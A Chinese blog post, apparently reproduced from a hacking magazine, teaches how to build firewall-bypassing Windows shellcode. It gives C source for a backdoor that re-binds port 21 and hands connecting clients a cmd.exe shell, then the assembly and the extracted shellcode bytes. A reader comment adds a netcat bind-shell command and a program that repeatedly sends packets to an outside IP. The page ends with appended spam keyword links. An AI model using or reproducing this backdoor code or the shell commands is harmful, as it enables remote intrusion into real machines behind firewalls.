• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 298  文章 - 377  trackbacks - 0
            <2016年3月>
            282912345
            6789101112
            13141516171819
            20212223242526
            272829303112
            3456789

            常用鏈接

            留言簿(34)

            隨筆分類

            隨筆檔案

            文章檔案

            相冊

            收藏夾

            搜索

            •  

            最新評論

            閱讀排行榜

            評論排行榜

            現在網絡上獲得控制臺的ShellCode要么是在目標機上開一個端口,等待攻擊者連接;要么是讓目標機主動連接攻擊者的主機,俗稱反向連接。但前種方法一般都會被防火墻擋住,而后者反連不但需要攻擊者有一個公網IP,而且也會被目標機端禁止外連訪問的防火墻擋掉。那有沒有更好的辦法呢?

               
                第一種方法就是復用攻擊時的Socket。我們在給目標機發送攻擊字符串的時候,就使用了Socket,如果還存在,我們把它找到并回收利用。ShellCode完成的功能是查找進程中所有的Socket并依次判斷,如果是那個發送攻擊字符串的Socket,就使用它來傳文件,開后門等等。

                第二種方法是復用端口。作為服務器,防火墻總會打開提高服務所需要的端口,比如FTP的21端口,IIS的80端口等。我們在ShellCode中復用這些防火墻打開的端口,并完成自己想要的功能。

                第三種方法是終止掉目標機上的FTP或IIS等服務,然后再占用21、80等端口。這種方法在法二失敗的情況下可以使用。

                還有其它的一些方法,比如紅色代碼蠕蟲使用的Hook技術,它是把TcpSockSend函數替換掉,這樣發給任何客戶的信息都是“Hacker by Chinese”,我們也可以把接收函數Recv函數Hook掉,保證即執行攻擊者發過去的命令,又不影響正常的服務。

                另外還可以查找Socket,把所有的Socket都綁定一個DOS Shell;如果知道網站的物理路徑,還可以由ShellCode直接創建一個ASP木馬!當然還可以添加用戶,創建虛擬映射盤,直接寫一個EXE的木馬并執行等……方法很多,要用發散性的思維考慮!只要想的到,不要管做得到做不到!

                不管做得到做不到?這些思路都可以實現嗎?其實在《Windows下ShellCode編寫初步》一文中已經講過,ShellCode就是一段代碼的機器碼形式,所以只要ShellCode不要太長,并符合特殊字符的規劃,運行起來是不會有問題的。來個實際的編寫例子吧,這里就以第二種思路――復用端口,來講解突破防火墻ShellCode的實現。

                C實現重用端口

                一般情況下,已經綁定的端口是不能再次被綁定的,但可以使用Setsockopt函數來改變這一點。Setsockopt函數原型如下,

              int setsockopt(
              SOCKET s,
              int level,
              int optname,
              const char* optval,
              int optlen
            );

                第一個參數為要改變的Socket標志符,第二個參數為選項的等級,第三個參數就是要改成的選項名了,第四第五個參數為請求值緩沖區的指針和大小。具體實現時,把第三個參數設為SO_REUSEADDR,就可以重用已綁定的端口了。代碼如下:

            BOOL  val = TRUE;
            setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)

                其它的和一般的后門編寫就一樣了。怎么樣,很簡單吧?
             
                WTF:該方法只有在原來的程序沒有使用SO_EXCLUSIVEADDRUSE選項來綁定端口的情況下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE選項,就只能用其它的方法綁定端口了。

                Telnet后門的編寫

                端口可以重用之后,總要加點功能來顯示這種方法的優劣吧?空說復用端口好有什么用呢?所以再加上一個大家都看得見的功能:給連接端口的客戶開一個遠程的Shell。

                開遠程的Shell比較簡單,用CreateProcess函數建立CMD進程,并把進程的輸入輸出和錯誤句柄都換成我們的Socket就可以了。注意這里的Socket要用WSASocket函數建立才能這樣替換,而用Socket函數建立的就只能用管道來通信了。這些不在本文的討論之內,大家可以參看以前和將來的黑防,都會有講的。

            C實現的程序如下。
            int main()
            {
             WSADATA ws;
             SOCKET listenFD;
             int ret;
             //初始化wsa
             WSAStartup(MAKEWORD(2,2),&ws);
             //注意要用WSASocket
             listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
             //設置套接字選項,SO_REUSEADDR選項就是可以實現端口重綁定的
             //但如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功
             BOOL  val = TRUE;
             setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
             //監聽本機21端口
             struct sockaddr_in server;
             server.sin_family = AF_INET;
             server.sin_port = htons(21);
             server.sin_addr.s_addr = inet_addr("127.0.0.1");
             ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
             ret=listen(listenFD,2);
             //如果客戶請求21端口,接受連接
             int iAddrSize = sizeof(server);
             SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
             STARTUPINFO si;
             ZeroMemory(&si,sizeof(si));
             si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
             //設置為輸入輸出句柄為Socket
             si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
             char cmdLine[] = "cmd";
             PROCESS_INFORMATION ProcessInformation;
             //建立進程 
             ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
             return 0;
            }

            測試一下,先安裝一個Serv_U FTP服務器,那么它會打開21端口。如果Telnet 21端口,就會得到Serv_U的Banner,如下圖1所示。




            圖1

                現在執行我們的程序,就會重新綁定21端口。用Netstat –an查看,會發現有兩個21端口在監聽,一個的IP是0.0.0.0,一個是127.0.0.1。如圖2所示。


             
            圖2

            現在再Telnet 21端口,這次得到的是Shell!哈哈,沒錯,我們的程序搶掉了Serv_U用的21端口,突破成功!如圖3所示。


             
            圖3

                匯編的編寫

                C程序代碼成功實現后,就要把它變為有ShellCode特點的匯編了。
            《打造Windows下自己的ShellCode》一文中分析過,Windows下函數的調用是先將參數從右到左入棧,然后Call 函數的地址,所以首先要找出所有函數的地址并記下來。

                我寫了個“FindAddress.cpp”,來查找這次所有要用的函數地址。先LoadLibrary函數所在的Dll,再GetProcAddress函數名,最后打印出得到的地址。以后要查找其它函數地址時,只要更改LoadLibrary和GetProcAddress參數里的Dll名和函數名就可以了。
            在我的系統XP sp0下,執行的效果如下圖4所示。


             
            圖4

                在匯編代碼中,把找出來的函數地址保存下來,以備后用。這里用的是固定的API函數地址,以后介紹了動態獲取函數地址后,只需要加上動態查找那部分,而后面部分可以保持不動就繼續使用了。這也算是一種工程的思想吧。
            地址找到后,開始實現每個函數,函數實現完畢,匯編就寫出來了。

                第一個是WSAStartup(MAKEWORD(2,2),&ws), 隨便減Esp 0x200,將Esp作為WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。匯編實現如下:
            sub esp, 0x200
               push esp  //第二個參數&wsa
               push 0x202  //第一個參數0x202
               call dword ptr [ebp + 0x8] //[ebp+0x8]中存著WSAStartup的地址,執行
               add esp, 0x200

                第二個是執行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),這有點麻煩,那些參數值是多少呢?一種方法點右鍵,選擇“goto 定義”,就可以找到對應的值,但遇到參數比較多的時候就比較慢;另一種方法,借用寫好的C程序,按F10進入調試,按Debug工具欄上的Disassemble按鈕,就出現了對應的匯編代碼。如下圖5所示。

            圖5

                看,對應的值不就出來了嗎?我們只要仿照著,依次Push 0 0 0 6 1 2,再Call WSASocketA函數的地址就行了。以前說過,WSASocketA函數執行完后,EAX會存放函數的返回值,所以這里的EAX就是建立的Socket,我們把它保存在Ebx中,在后面會使用。

            mov ebx, eax                ; save Socket to ebx

                下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同樣的方法,就會知道Sizeof(val)=4,SO_REUSEADDR為4,SOL_SOCKET為0FFFFh。那第四個參數(char *)&val怎么表示呢?

            其實Val=true,就是0x00000001,那么&val就是0x00000001的地址,我們在堆棧中構造出0x00000001,把它的地址當參數就可以了。

            mov eax, 0x00000001
            push eax
            mov esi, esp  ;這樣把&val存在esi中。

            再執行Setsockopt就是:

               push 4   //第五個參數sizeof(val)=4
               push esi  //第四個參數&val
               push 4   //第三個參數SO_REUSEADDR
               push 0FFFFh  //第二個參數SOL_SOCKET
               push ebx  //第一個參數,WSASocket建立的Socket
                     Call dword ptr [ebp+0x16]//[ebp+0x16]中存著setsockopt的地址,執行

            OK!瞬間完成了一半的工作量,看著匯編一段一段的寫好,真是件愜意的事啊!

            好了,該第四個函數了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二個參數&server是一個sockaddr_in結構的地址,而且里面還有對端口、地址的設置,就是這三句:

            server.sin_family = AF_INET;
            server.sin_port = htons(21);
            server.sin_addr.s_addr = inet_addr("127.0.0.1");

                怎么轉換比較簡單呢?還是借助C程序的調試過程!在調試時,從Debug工具欄上調出Memory窗口,輸入Server,就可以看到Server這個結構的值,在賦值完畢之后,變成02 00 00 15 7F 00 00 01,如下圖6所示。


             
            圖6


                而且通過這個過程還知道,第一個0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我們就依著葫蘆畫瓢,模仿著構造出Server的值,并把地址給Esi保存,代碼如下:

               push 0x0100007F
               push 0x15000002 
               mov esi,esp  //構造server的值,并把地址賦給esi
               
            有了Server參數后,就可以執行Bind函數了:

               push 10h  //第三個參數sizeof(server)=10h
               push esi  //第二個參數server的地址
               push ebx  //第一個參數Socket
               call dword ptr [ebp+0x20] //[ebp+0x20]中存著bind的地址,執行

            那接下來的Listen(listenFD,2)就太簡單了,實現如下:

            push 2;   //第二個參數2
               push ebx;  //第一個參數Socket
               call dword ptr [ebp+0x24]; //[ebp+0x24]中存著listen的地址,執行

            隨后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能輕松搞定,為:
               push 10h  //構造iAddrSize,地址為esp
               push esp  //第三個參數&iAddrSize
               push esi  //第二個參數&server
               push ebx  //第一個參數Socket
               call dword ptr [ebp+0x28] //[ebp+0x28]中存著accept的地址,執行

            當然,因為后面要用到Accept后產生的Socket,所以把它保存在Ebx中。
            mov ebx, eax //把新Socket保存在ebx中
            這樣就到了最關鍵的決定成敗的最終BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇,大概看一看,好多參數,真嚇人!但仔細一看,原來是紙老虎,參數基本上都是0和1,要構造的只有三個,那就簡單了。

            0和1就不說了,直接Push就可以了,&ProcessInformation最簡單,因為不用賦初值,隨便找個不用的地址就可以了,CmdLine也好解決,“cmd” 就是63 6d 64 00,構造在Ebp+0x32中,把Ebp+0x32的地址當參數壓就可以了。只剩下&si了,對它的賦值有幾句話,
            ZeroMemory(&si,sizeof(si));
             si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
             //設置為輸入輸出句柄為Socket
             si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
            就是先清零,再設置Flag和句柄。我們在調試過程中,仔細地、慢慢地、溫柔地數,最后可以知道Si+2ch的地方為Flag地址,“Si+38h Si+3ch Si+40h”的地方為輸入輸出和錯誤句柄。那么在匯編中構造Si就是:

               lea edi,[esp]; 
               mov word ptr [edi+2ch], 0x0101;  //si.dwFlags =0x0101
               mov [edi+38h],ebx;     //si.hStdInput
               mov [edi+3ch],ebx;     //si.hStdOutput
               mov [edi+40h],ebx;     //si.hStdError = Socket

            實現CreateProcess如下: 
               //暫存cmd.exe字符串于ebp+0x32中
               mov dword ptr [ebp+0x32],0x00646d63;   
               lea eax,[esp+0x44]
               push eax   //最后一個參數&ProcessInformation
               push edi   //&si
               push 0   //0
               push 0   //0
               push 0   //0
               push 1   //1
               push 0   //0
               push 0   //0
               lea eax,[ebp+0x32] 
               push eax   //"cmd"
               push 0   //0
               call [ebp+0x4]  //[ebp+0x4]中存著CreateProcessA的地址,執行

            ShellCode的獲取和驗證

            好了,把匯編連起來,得到“ReBindASM.cpp”驗證一下,呵呵,還是成功。如圖7所示。


             
            圖7


            有一個出錯對話框——當然了,我們的Esp ebp都被覆蓋了,當然會出錯。感興趣的讀者可以自己下去把它們恢復一下。剩下我們最感興趣的ShellCode的提取了。
             《打造Windows下自己的ShellCode》中講過,在得到匯編后,可以進行調試,然后把匯編對應的機器碼一個一個的抄下來。這里當然也可以這樣,但代碼太多了,一個個的抄也太郁悶了吧……我們換個方法。

             進入調試,在調試進入我們的匯編時,在Memory窗口中輸入Eip,這樣出現的就是我們ShellCode在內存中的值,如下圖8所示。


             
            圖8


            這下簡單了,把ShellCode從開始到結束粘貼下來,刪掉多于的字符,把空格替換成’\x’,就得到重用端口,突破防火墻的ShellCode如下:

            char ShellCode[] =
            "\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
            "\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
            "\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
            "\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
            "\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
            "\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
            "\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
            "\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
            "\x6A\x00\xFF\x55\x04";

            在Main函數里面,嵌入如下代碼就可以將ShellCode當成函數執行:

            lea eax, ShellCode;
              call eax
            測試一下,哈哈,還是成功了。如圖9所示。


             
            圖9


                這樣我們就親自打造出了一個ShellCode,而且這個ShellCode在外面是絕對找不到的哦,呵呵,知道為什么嗎?因為這個ShellCode根本不能用啊!(豆大的汗珠從WTF后腦勺上滴下……)一是因為使用的是XP SP0的函數絕對地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都會失敗;二是綁定的是127.0.0.1,其實需要對方的實際IP地址。要解決這兩個問題,一是需要動態的獲得函數地址,來把我們這個ShellCode改為通用的;二是加入對方IP和端口的定制,這樣打造出的才是完美的ShellCode



            posted on 2007-07-22 03:22 聶文龍 閱讀(835) 評論(1)  編輯 收藏 引用 所屬分類: c++

            FeedBack:
            # re: 經典的東 2007-07-22 03:22 聶文龍
            // port.cpp : Defines the entry point for the console application.
            //

            #include "stdafx.h"


            /*
            2a¨o?¨¨??êoCrackMe
            2a¨o?¨??¨¤y?êo
            cmd1: nc -l -p 80 -e cmd.exe
            cmd2: ?à?3¨?D¨°
            cmd3: nc *.*.*.* 80
            2¨′?á???êo
            cmd3?D¨o?¨¨???¨¢?2?é|ì?|ì??????ê?cmd2?D¨o?3???¨¢??T??????ê
            ¨a?§D?1y3¨?¨o?¨°a¨a??êo
            cmd3??>cmd2??>cmd1
            ?¨1 ?y?¨1 ?y
            ????--??????????????
            */

            #include
            #include
            #include
            #include

            int HexToBuf(char * in,char * out)
            {
            int i,it,len=0;
            char t[3];
            len = strlen(in)/2;
            for(i=0;i {
            memset(t,0,3);
            t[0] = in[i*2];
            t[1] = in[i*2+1];
            sscanf(t,"%x",&it);
            out[i] = (char)it;
            }
            return len;
            }

            int main()
            {
            WSADATA ws;
            SOCKET listenFD;
            int ret;

            WSAStartup(MAKEWORD(2,2),&ws);

            listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

            BOOL val = TRUE;
            setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );

            struct sockaddr_in server;
            struct sockaddr_in srv_addr;//?aê?·t???÷μ??·
            server.sin_family = AF_INET;
            server.sin_port = htons(6662);
            server.sin_addr.s_addr = inet_addr("127.0.0.1");
            ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

            /*ret=listen(listenFD,2);
            //??????21??,????
            int iAddrSize = sizeof(server);
            SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
            STARTUPINFO si;
            ZeroMemory(&si,sizeof(si));
            si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
            //??????????Socket
            si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
            char cmdLine[] = "cmd";
            PROCESS_INFORMATION ProcessInformation;
            //????
            ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
            */
            srv_addr.sin_family = AF_INET; //210.174.197.237:9998
            srv_addr.sin_addr.s_addr = inet_addr("210.174.197.237");
            srv_addr.sin_port=htons(9998);
            if(connect(listenFD,(LPSOCKADDR)&srv_addr,sizeof(srv_addr))==SOCKET_ERROR)
            {
            printf("?T·¨á??ó·t???÷\\n");
            closesocket(listenFD);
            Sleep(10000);
            }
            else
            {
            printf("OH.yeah!\\n");
            }
            //setsockopt(g_skt_login,IPPROTO_TCP,TCP_NODELAY,(const char *)&bNoDelay,sizeof(bNoDelay));
            //·¢?íμúò?′?μ??????ó
            char sendbuf[100],sendhex[100];
            int sendlen,i;

            for (i = 0 ;i <100 ;i++)
            {
            memset(sendbuf,0,100);
            memset(sendhex,0,100);
            strcpy(sendhex,"8A0009000000E72E0000201F000061");
            sendlen = HexToBuf(sendhex,sendbuf);
            send(listenFD,sendbuf,sendlen,0);
            printf("·¢?í?ó?a°ü-%d\\n",i);

            Sleep(5000);

            memset(sendbuf,0,100);
            memset(sendhex,0,100);
            strcpy(sendhex,"BF000400000000000000");
            sendlen = HexToBuf(sendhex,sendbuf);
            send(listenFD,sendbuf,sendlen,0);
            printf("·¢?íDT×°±?°ü-%d\\n",i);

            Sleep(5000);
            }



            return 0;
            }  回復  更多評論
              
            久久久久久午夜精品| 久久久精品久久久久久 | 色偷偷91久久综合噜噜噜噜| 一本大道久久a久久精品综合| 国产精品青草久久久久福利99 | 久久久久青草线蕉综合超碰| 亚洲中文久久精品无码| AAA级久久久精品无码片| 久久亚洲AV无码西西人体| 久久AV高潮AV无码AV| 国产Av激情久久无码天堂| 亚洲国产成人久久综合野外| 久久人妻少妇嫩草AV无码专区| 国产免费久久精品99久久| 伊人久久大香线蕉亚洲| 国产午夜精品久久久久九九| 久久久精品国产sm调教网站 | 亚洲国产精品无码久久九九| 久久精品黄AA片一区二区三区| 内射无码专区久久亚洲| 韩国三级大全久久网站| 伊人久久精品无码二区麻豆| 青青热久久国产久精品 | 亚洲国产欧美国产综合久久| 久久精品国产99国产精偷| 日韩乱码人妻无码中文字幕久久 | 国产精久久一区二区三区 | 国产精品九九久久免费视频| 久久亚洲精品成人av无码网站| 久久亚洲AV无码精品色午夜 | 久久婷婷五月综合97色| 久久综合久久综合亚洲| 久久久久综合中文字幕| 久久www免费人成看国产片| 国产成人AV综合久久| 狠狠色丁香婷婷综合久久来 | 漂亮人妻被中出中文字幕久久| 欧美午夜A∨大片久久| 欧美性猛交xxxx免费看久久久| 久久精品国产精品亚洲艾草网美妙| 日韩精品久久久久久|